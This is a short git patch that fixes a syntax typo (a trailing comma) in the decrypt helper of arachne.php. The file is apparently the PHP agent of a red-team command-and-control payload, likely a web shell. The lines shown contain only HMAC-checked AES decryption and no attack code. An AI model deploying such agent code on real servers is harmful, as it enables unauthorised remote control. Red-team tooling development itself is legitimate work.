From dbbab0e2484f3bfd8ceb01a45f13b82bf8d5d0c8 Mon Sep 17 00:00:00 2001 From: its-a-feature Date: Sat, 28 Sep 2024 11:33:09 -0500 Subject: [PATCH] fixing typo in php version --- Payload_Type/arachne/arachne/agent_code/arachne.php | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/Payload_Type/arachne/arachne/agent_code/arachne.php b/Payload_Type/arachne/arachne/agent_code/arachne.php index 115b592..4ef86a1 100644 --- a/Payload_Type/arachne/arachne/agent_code/arachne.php +++ b/Payload_Type/arachne/arachne/agent_code/arachne.php @@ -44,7 +44,7 @@ function decrypt($ivHashCiphertext, $password) { $ciphertext = substr($ivHashCiphertext, 16, -32); $key = base64_decode($password); if (!hash_equals(hash_hmac('sha256', $iv . $ciphertext, $key, true), $hash)) return "error"; - return openssl_decrypt($ciphertext, $method, $key, $options=OPENSSL_RAW_DATA, $iv,); + return openssl_decrypt($ciphertext, $method, $key, $options=OPENSSL_RAW_DATA, $iv); } else { return $ivHashCiphertext; }